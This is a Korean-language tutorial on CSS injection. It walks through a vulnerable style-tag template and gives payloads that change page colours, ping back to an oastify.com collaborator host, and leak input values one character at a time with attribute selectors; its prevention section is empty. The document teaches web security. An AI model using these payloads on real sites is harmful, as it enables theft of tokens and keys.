🔎 What is CSS Injection?

Cascading Style Sheet(CSS)는 HTML로 정의된 문서를 다채롭게 하는 역활을 합니다. 표현에 사용될 임의의 CSS 코드를 주입시켜 의도하지 않은 속성이 정의되는 것을 CSS Injection 이라고 합니다.
CSS Injection은 XSS와 비슷하게 웹 페이지 로딩 시 악의적인 문자열을 삽입하여 악의적인 동작을 이끄는 공격으로 공격자가 임의 CSS 속성을 삽입해 웹페이지의 UI를 변조하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔칠 수 있습니다.
데이터의 예로는 CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자를 통해 표현이 가능해야 합니다.
그래서 CSS 선택자로 표현이 불가능한 script 태그 내 데이터들은 탈취할 수 없습니다.
CSS Injection은 HTML (style) 영역에 공격자가 임의 입력 값을 넣을 수 있거나 임의 HTML을 삽입할 수 있지만 Content-Security-Policy(CSP)로 인해 자바스크립트를 실행할 수 없는 등 다양한 상황에서 사용할 수 있습니다.

CSS Injection

• 1. 색깔 바꾸기
     

CSS Injection을 통해 임의 영역의 UI를 변경할 수 있습니다. 아래의 코드는 이용자로부터 theme 값을 입력 받아 style 태그 내에 출력하는 웹 어플리케이션 입니다. theme값 내에 < 를 입력할 수 없어 정의된 style 태그를 벗어나는 것은 불가능하여 CSS 속성만 출력할 수 있습니다.
body의 background-color 가 아닌 h1의 글씨 색을 변경하려면 } 문자를 이용해 기존 속성을 탈출해야 합니다.
yellow; } h1 { color : red 값을 입력 시 h1의 글씨 색깔 변경이 가능합니다.

<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
if '<' in theme:
    exit(0)

• 1. IP Ping Back 하기
     

클라이언트사이드 공격을 통해 데이터를 외부로 탈취하기 위해서는 공격자의 서버로 요청을 보낼 수 있어야합니다. CSS 속성으로 외부 요청(Ping Back)을 하기 위해 CSS 외부 리소스를 불러오는 기능을 사용해야 합니다.
다른 사이트의 이미지,폰트 등을 가져오는 여러 방법이 존재하지만 대표적으로 cure53의 HTTPLeaks(https://github.com/cure53/HTTPLeaks/blob/main/leak.html#L266) 가젯을 이용할 수 있습니다.

1. 위 가젯 중 하나를 사용해 페이지 내에서 외부 서버로 요청을 보낼 수 있습니다. 요청을 받을 서버는 Burp를 사용해 줍니다.
   
2. 개발자 도구를 이용해 Netwrok 탭에서 요청 기록을 확인합니다.
   
3. yellow; background: url(“https://ovns6ytyf0w22l1r67eo52d3yu4lsa.oastify.com/ping-back”); 을 입력하여 서브 도메인 주소로 body의 background를 설정합니다.
   
4. 개발자 도구에서 burp 서버로 보낸 요청을 확인하고 버프에서 받은 요청을 확인합니다.

• 1. 데이터 탈취
     

1,2에서는 속성을 추가하거나 변경, CSS Selector의 조건이 맞을 경우 외부 서버로 요청을 보냈는데 이번에는 Attribute Selector를 통해 입력 박스(Input)의 값(Value)를 탈취하는 방법 입니다.

CSS Attribute Selector(특성 선택자)
CSS Attribute Selector은 Element의 Attribute를 Selection할 수 있는 기능을 제공합니다.

위 구문중 [attr^=value] 을 이용하면 입력 박스 내용을 탈취할 수 있습니다.

1. [attr^=value] 구문을 이용해 가장 첫 한글자를 먼저 탈취합니다.
   
2. 1에서 탈취한 글자를 접두사로 그 다음 한글자를 탈취합니다.
   
3. 1-2를 반복합니다.
   

위 순서를 진행하는 페이로드는 yellow; } input[value^=S3CR3T_] { background: url(“https://ar5e2kpkbmsoy7xd2taa1o9pug08ox.oastify.com/lols”); 로 개발자 도구 Network 탭을 확인하여 탈취하려고 하는 내용이 S3CR3T_으로 시작되는것을 알 수 있습니다.
값이 일치할경우 Network탭에 값 전송 및 서버 확인 가능, 일치하지 않을 경우 값이 전송되지 않음

🍁 Cheat sheet

👀 How to Prevent ?

📃 References

• https://dreamhack.io/lecture/courses/327
• https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d